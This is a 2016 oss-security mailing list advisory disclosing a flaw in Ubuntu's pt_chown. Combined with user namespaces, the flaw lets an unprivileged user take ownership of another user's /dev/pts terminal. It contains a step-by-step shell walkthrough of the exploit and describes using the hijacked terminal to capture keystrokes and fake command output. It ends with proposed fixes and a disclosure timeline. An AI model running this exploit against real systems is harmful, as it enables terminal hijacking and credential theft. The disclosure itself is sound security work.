Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Tue, 23 Feb 2016 12:03:54 +0000
From: halfdog <>
Subject: Access to /dev/pts devices via pt_chown and user namespaces

Hash: SHA1

Sending content from [0] also to oss-security as requested last time:

Problem description:

With Ubuntu Wily and earlier, /usr/lib/pt_chown was used to change
ownership of slave pts devices in /dev/pts to the same uid holding the
master file descriptor for the slave. This is done using the pt_chown
SUID binary, which invokes the ptsname function on the master-fd, thus
again performing a TIOCGPTN ioctl to get the slave pts number. Using
the result from the ioctl, the pathname of the slave pts is
constructed and chown invoked on it, see login/programs/pt_chown.c:

  pty = ptsname (PTY_FILENO);
  if (pty == NULL)
  /* Get the group ID of the special `tty' group.  */
  p = getgrnam (TTY_GROUP);
  gid = p ? p->gr_gid : getgid ();

  /* Set the owner to the real user ID, and the group to that special
     group ID.  */
  if (chown (pty, getuid (), gid) < 0)
    return FAIL_EACCES;

  /* Set the permission mode to readable and writable by the owner,
     and writable by the group.  */
  if ((st.st_mode & ACCESSPERMS) != (S_IRUSR|S_IWUSR|S_IWGRP)
      && chmod (pty, S_IRUSR|S_IWUSR|S_IWGRP) < 0)
    return FAIL_EACCES;

  return 0;

The logic above is severely flawed, when there can be more than one
master/slave pair having the same number and thus same name. But this
condition can be easily created by creating an user namespace,
mounting devpts with the newinstance option, create master and slave
pts pairs until the number overlaps with a target pts outside the
namespace on the host, where there is interest to gain ownership and
then invoke pt_chown.


Exploitation is trivial: At first use any user namespace demo to
create the namespace needed, e.g. UserNamespaceExec.c and work with
standard shell commands, e.g. to take over /dev/pts/0:

test# who am I
test    pts/1        2015-12-27 12:00
test# ./UserNamespacesExec -- /bin/bash
Setting uid map in /proc/5783/uid_map
Setting gid map in /proc/5783/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
root# mkdir mnt
root# mount -t devpts -o newinstance /dev/pts mnt
root# cd mnt
root# chmod 0666 ptmx

Use a second shell to continue:

test# cd /proc/5783/cwd
test# ls -al
total 4
drwxr-xr-x 2 root  root     0 Dec 27 12:48 .
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..
c--------- 1 test users 5, 2 Dec 27 12:48 ptmx
test# exec 3<>ptmx
test# ls -al
total 4
drwxr-xr-x 2 root  root       0 Dec 27 12:48 .
drwxr-xr-x 7 test users   4096 Dec 27 11:57 ..
crw------- 1 test users 136, 0 Dec 27 12:53 0
crw-rw-rw- 1 test users   5, 2 Dec 27 12:48 ptmx
test# ls -al /dev/pts/0
crw--w---- 1 root tty 136, 1 Dec 27  2015 /dev/pts/0
test# /usr/lib/pt_chown
test# ls -al /dev/pts/0
crw--w---- 1 test tty 136, 1 Dec 27 12:50 /dev/pts/0

On systems where the TIOCSTI-ioctl is not prohibited, the tools from
TtyPushbackPrivilegeEscalation to directly inject code into a shell
using the pts device. This is not the case at least on Ubuntu Wily.
But as reading and writing to the pts is allowed, the malicious user
can not intercept all keystrokes and display faked output from
commands never really executed. Thus he could lure the user into a)
change his password or attempt to invoke su/sudo or b) simulate a
situation, where user's next step is predictable and risky and then
stop reading the pts, thus making user to execute a command in
completely unexpected way.

Results, Discussion:

As already mentioned in [1], exposure of essential OS functionality,
previously just invoked by really privileged processes, to now
unprivileged users via user namespaces greatly increases the attack
surface and thus is a very interesting target for exploit development.

In my opinion, this security bug should be fixed two-fold: At first,
kernel should prevent the TIOCGPTN ioctl when invoked called by a
process within one namespace but acting on a filedescriptor from a
devpts instance mounted in a different namespace. Additionally
pt_chown should check via readlink and stat, that the passed file
descriptor really was from the /dev/ptmx or /dev/pts/ptmx device
present in the same namespace as the /dev/pts/[num] device is
residing. This of course is only relevant if pt_chown is going to
survive on recent namespace aware systems.


    20151220: Discovery
    20151227: Report at Ubuntu Launchpad1529486
    20160104: Report to distros list
    20160122: Patch to disable unprivileged userns due to this and
other issues LKML
    20160222: CRD and publication




- --
PGP: 156A AE98 B91F 0114 FE88  2BD8 C459 9386 feed a bee
Version: GnuPG v1


Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.